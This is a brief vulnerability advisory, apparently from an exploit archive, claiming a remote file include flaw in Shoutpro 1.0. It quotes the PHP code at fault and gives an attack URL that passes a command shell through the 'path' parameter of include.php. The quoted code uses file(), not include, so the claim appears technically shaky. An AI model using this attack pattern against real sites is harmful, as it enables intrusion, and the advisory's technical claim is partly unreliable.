Shoutpro 1.0 Version - Remote File Include Vulnerability

[SpC-x@xxxxxxxxxxx]

# SaVSaK.CoM | SpC-x - The_BeKiR |

# Shoutpro 1.0 Version - Remote File Include Vulnerability

# Risk : High

# Class: Remote

# Script : Shoutpro

# Credits : SpC-x

# Thanks : The_BeKiR - Ejder - FasTBoY - ERNE - RMx

# Code :

# include("config.php");
# include("functions.php");
# if ($path){
#       $ips = file("$path/lists/bannedips.php");
# } else {
#       $ips = file("lists/bannedips.php");
# }
# if (in_array($REMOTE_ADDR,$ips)) {   
#       echo($bannedmessage);
#       die;
# }

# Vulnerable :

# http://www.victim.com/Shoutpro/include.php?path=Command-Shell